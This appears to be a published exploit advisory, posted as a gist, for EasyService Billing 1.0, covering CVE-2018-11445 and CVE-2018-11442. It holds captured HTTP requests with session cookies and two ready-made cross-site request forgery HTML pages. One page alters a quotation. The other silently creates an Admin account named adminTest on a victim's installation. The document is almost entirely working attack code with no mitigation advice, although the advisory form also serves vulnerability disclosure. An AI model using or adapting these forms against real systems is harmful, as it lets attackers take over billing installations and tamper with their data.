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NinjaXshell/EasyService Billing 1.0 Cross-Site Request Forgery

Last active May 25, 2018 16:12
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EasyService Billing 1.0 Cross-Site Request Forgery
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EasyService Billing 1.0 Cross-Site Request Forgery
<!--
# # # # #
# Title: EasyService Billing 1.0 Cross-Site Request Forgery
# Vendor Homepage: https://codecanyon.net/item/easyservice-billing-php-scripts-for-quotation-invoice-payments-etc/16687594
# Version: 1.0
# Category: Webapps
# Severity: Medium
# Tested on: KaLi LinuX_x64
# CVE: CVE-2018-11445,CVE-2018-11442
# # # # #
#
# Proof of Concept:
/////////////////////////
CSRF in Quotation Page
//////////////////////////
# Initial Request:
POST /EasyServiceBilling/quotation-new3-new2.php?add=true&id=139 HTTP/1.1
Host: codecanyon.nelliwinne.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://codecanyon.nelliwinne.net/EasyServiceBilling/quotation-new3-new2.php?add=true&id=139
Cookie: tntcon=5078855aa89b90f68de5644f75495364a4xn; PHPSESSID=58bf7e8rf0jpiepg3iu7larrj2
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
quotation_id=139&quotation_no=249&des=test&button=Save&MM_update=form1&MM_insert=form1
# CSRF POC:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://codecanyon.nelliwinne.net/EasyServiceBilling/quotation-new3-new2.php?add=true&id=139" method="POST">
<input type="hidden" name="quotation&#95;id" value="139" />
<input type="hidden" name="quotation&#95;no" value="249" />
<input type="hidden" name="des" value="testnew" />
<input type="hidden" name="button" value="Save" />
<input type="hidden" name="MM&#95;update" value="form1" />
<input type="hidden" name="MM&#95;insert" value="form1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
/////////////////////////
CSRF in User Add Page
//////////////////////////
# Initial Request
POST /EasyServiceBilling/system-settings-user-new2.php? HTTP/1.1
Host: codecanyon.nelliwinne.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://codecanyon.nelliwinne.net/EasyServiceBilling/system-settings-user-new2.php
Cookie: tntcon=ea1c7cc27fc02e6abf755d54fa60a8a8a4xn; PHPSESSID=kao38vbne4c4s9s0587o8h99e6
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
type=Admin&un=a&pw=b&MM_insert=form1
# CSRF POC
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://codecanyon.nelliwinne.net/EasyServiceBilling/system-settings-user-new2.php?" method="POST">
<input type="hidden" name="type" value="Admin" />
<input type="hidden" name="un" value="adminTest" />
<input type="hidden" name="pw" value="adminTest" />
<input type="hidden" name="MM&#95;insert" value="form1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
-->
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